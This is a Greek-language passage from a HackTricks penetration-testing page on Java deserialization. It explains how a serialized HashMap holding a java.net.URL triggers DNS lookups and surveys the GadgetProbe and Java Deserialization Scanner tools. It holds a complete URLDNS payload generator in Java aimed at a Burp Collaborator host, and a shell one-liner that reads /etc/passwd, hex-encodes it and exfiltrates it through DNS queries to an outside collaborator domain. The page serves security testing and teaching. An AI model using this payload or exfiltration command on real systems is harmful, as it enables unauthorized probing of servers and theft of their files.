Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αίτηση DNS κατά την αποσυσκευοθέτηση

Η κλάση java.net.URL υλοποιεί το Serializable, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσυσκευοθετηθεί.

public final class URL implements java.io.Serializable {

Αυτή η κλάση έχει ένα περίεργο συμπεριφορά. Σύμφωνα με την τεκμηρίωση: "Δύο κόμβοι θεωρούνται ισοδύναμοι εάν και οι δύο ονομασίες κόμβων μπορούν να αναλυθούν στις ίδιες διευθύνσεις IP". Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί οποιαδήποτε από τις συναρτήσεις equals ή hashCode, θα αποστέλλεται ένα αίτημα DNS για να ληφθεί η διεύθυνση IP.

Είναι αρκετά εύκολο να καλέσετε τη συνάρτηση hashCode από ένα αντικείμενο URL, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα HashMap που θα αποδημιουργηθεί. Αυτό συμβαίνει επειδή στο τέλος της συνάρτησης readObject από το HashMap, εκτελείται ο παρακάτω κώδικας:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Θα εκτελέσει την putVal με κάθε τιμή μέσα στο HashMap. Ωστόσο, πιο σημαντική είναι η κλήση της hash με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Όπως μπορείτε να παρατηρήσετε, κατά την αποσειριοποίηση ενός HashMap, η συνάρτηση hash θα εκτελεστεί με κάθε αντικείμενο και κατά τη διάρκεια της εκτέλεσης της hash, θα εκτελεστεί το .hashCode() του αντικειμένου. Επομένως, αν αποσειριοποιήσετε ένα HashMap που περιέχει ένα αντικείμενο URL, το αντικείμενο URL θα εκτελέσει το .hashCode().

Τώρα, ας ρίξουμε μια ματιά στον κώδικα του URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Όπως μπορείτε να δείτε, όταν ένα URLObject εκτελεί την .hashCode(), καλείται hashCode(this). Συνεχίζοντας, μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Μπορείτε να δείτε ότι εκτελείται ένα getHostAddress στον τομέα, εκτελώντας ένα ερώτημα DNS.

Επομένως, αυτή η κλάση μπορεί να καταχραστεί για να εκτελέσει ένα ερώτημα DNS για να αποδείξει ότι η αποσυσκευοποίηση είναι δυνατή, ή ακόμα και για να εξαφανίσει πληροφορίες (μπορείτε να προσθέσετε ως υποτομέα την έξοδο ενός εκτελέσιμου εντολών).

Παράδειγμα κώδικα πληρωμής URLDNS

Μπορείτε να βρείτε τον κώδικα πληρωμής URDNS από το ysoserial εδώ. Ωστόσο, απλά για να το κατανοήσετε ευκολότερα πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο στο PoC του ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Περισσότερες πληροφορίες

GadgetProbe

Μπορείτε να κατεβάσετε το GadgetProbe από το Burp Suite App Store (Extender).

Το GadgetProbe θα προσπαθήσει να καταλάβει αν κάποιες κλάσεις Java υπάρχουν στην κλάση Java του διακομιστή, έτσι ώστε να μπορείτε να γνωρίζετε αν είναι ευάλωτος σε κάποια γνωστή εκμετάλλευση.

Πώς λειτουργεί

Το GadgetProbe θα χρησιμοποιήσει το ίδιο DNS payload της προηγούμενης ενότητας, αλλά πριν από την εκτέλεση του DNS query θα προσπαθήσει να αποσειριοποιήσει μια αυθαίρετη κλάση. Αν η αυθαίρετη κλάση υπάρχει, το DNS query θα αποσταλεί και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το αίτημα DNS δεν αποσταλεί ποτέ, αυτό σημαίνει ότι η αυθαίρετη κλάση δεν αποσειριοποιήθηκε με επιτυχία, οπότε είτε δεν υπάρχει είτε δεν είναι αποσειριοποιήσιμη/εκμεταλλεύσιμη.

Μέσα στο github, το GadgetProbe έχει μερικά wordlists με κλάσεις Java για να δοκιμαστούν.

Περισσότερες πληροφορίες

Σαρωτής Αποσειριοποίησης Java

Αυτός ο σαρωτής μπορεί να κατεβάσει από το Burp App Store (Extender). Η επέκταση έχει παθητικές και ενεργές δυνατότητες.

Παθητικές

Από προεπιλογή ελέγχει παθητικά όλα τα αιτήματα και τις απαντήσεις που στέλνονται ψάχνοντας για μαγικά bytes αποσειριοποίησης Java και θα εμφανίσει μια προειδοποίηση ευπάθειας αν βρεθεί οποιοδήποτε:

Ενεργές

Χειροκίνητος Έλεγχος

Μπορείτε να επιλέξετε ένα αίτημα, δεξί κλικ και Αποστολή αιτήματος στο DS - Χειροκίνητος Έλεγχος. Στη συνέχεια, μέσα στην καρτέλα Deserialization Scanner --> Καρτέλα Χειροκίνητου ελέγχου μπορείτε να επιλέξετε το σημείο εισαγωγής. Και ξεκινήστε τον έλεγχο (Επιλέξτε την κατάλληλη επίθεση ανάλογα με τη χρήση κωδικοποίησης).

Ακόμη κι αν αυτό ονομάζεται "Χειροκίνητος Έλεγχος", είναι αρκετά αυτοματοποιημένος. Θα ελέγξει αυτόματα αν η αποσειριοποίηση είναι ευάλωτη σε οποιοδήποτε ysoserial payload ελέγχοντας τις βιβλιοθήκες που υπάρχουν στον web server και θα επισημάνει τις ευάλωτες. Για να ελέγξετε για ευάλωτες βιβλιοθήκες μπορείτε να επιλέξετε να εκτελέσετε Javas Sleeps, sleeps μέσω κατανάλωσης CPU, ή χρησιμοποιώντας DNS όπως αναφέρθηκε προηγουμένως.

Εκμετάλλευση

Αφού εντοπίσετε μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα Εκμετάλλευση. Σε αυτήν την καρτέλα πρέπει να επιλέξετε ξανά το σημείο εισαγωγής, να γράψετε την ευάλωτη βιβλιοθήκη για την οποία θέλετε να δημιουργήσετε ένα payload, και την εντολή. Στη συνέχεια, απλά πατήστε το κατάλληλο κουμπί Attack.

Πληροφορίες Αποσειριοποίησης Java DNS Exfil

Κάντε το payload σας να εκτελέσει κάτι παρόμοιο με το παρακάτω:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Περισσότερες Πληροφορίες

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated